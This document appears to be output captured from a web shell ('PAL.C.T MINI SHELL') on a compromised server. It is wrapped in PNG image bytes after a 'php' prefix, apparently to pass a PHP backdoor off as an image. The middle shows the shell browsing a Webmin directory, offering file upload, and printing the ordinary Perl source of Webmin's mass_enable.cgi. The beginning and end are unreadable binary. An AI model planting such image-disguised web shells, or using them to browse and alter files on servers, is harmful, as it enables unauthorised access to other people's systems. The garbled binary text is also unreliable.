php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/xinetd/
upload
files >> //usr/libexec/webmin/xinetd/mass_enable.cgi

#!/usr/bin/perl
# Enable or disable a bunch of services
# XXX what about line changes due to modifications??
# XXX changelog / ideas

require './xinetd-lib.pl';
&ReadParse();

@conf = &get_xinetd_config();
@ids = split(/\0/, $in{'serv'});
($defs) = grep { $_->{'name'} eq 'defaults' } @conf;
foreach $m (@{$defs->{'members'}}) {
	$ddisable{$m->{'value'}} = $m if ($m->{'name'} eq 'disabled');
	}

&lock_file($config{'xinetd_conf'});
if ($in{'enable'}) {
	# Enable all selected
	foreach $id (@ids) {
		@conf = &get_xinetd_config();
		$xinet = $conf[$id];
		&lock_file($xinet->{'file'});
		$q = $xinet->{'quick'};
		$dis = $q->{'disable'}->[0] eq 'yes' || $ddisable{$id};
		if ($dis) {
			&set_member_value($xinet, 'disable', 'no');
			&modify_xinet($xinet);
			if ($ddisable{$oldid}) {
				# Take out old global disabled
				&delete_xinet($ddisable{$oldid});
				}
			push(@servs, $xinet->{'value'});
			}
		}
	}
else {
	# Disable all selected
	foreach $id (@ids) {
		@conf = &get_xinetd_config();
		$xinet = $conf[$id];
		&lock_file($xinet->{'file'});
		$q = $xinet->{'quick'};
		$dis = $q->{'disable'}->[0] eq 'yes' || $ddisable{$id};
		if (!$dis) {
			&set_member_value($xinet, 'disable', 'yes');
			&modify_xinet($xinet);
			push(@servs, $xinet->{'value'});
			}
		}
	}

&unlock_all_files();
&webmin_log($in{'enable'} ? "enable" : "disable", undef, scalar(@ids),
	    { 'servs' => \@servs });
&redirect("");

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`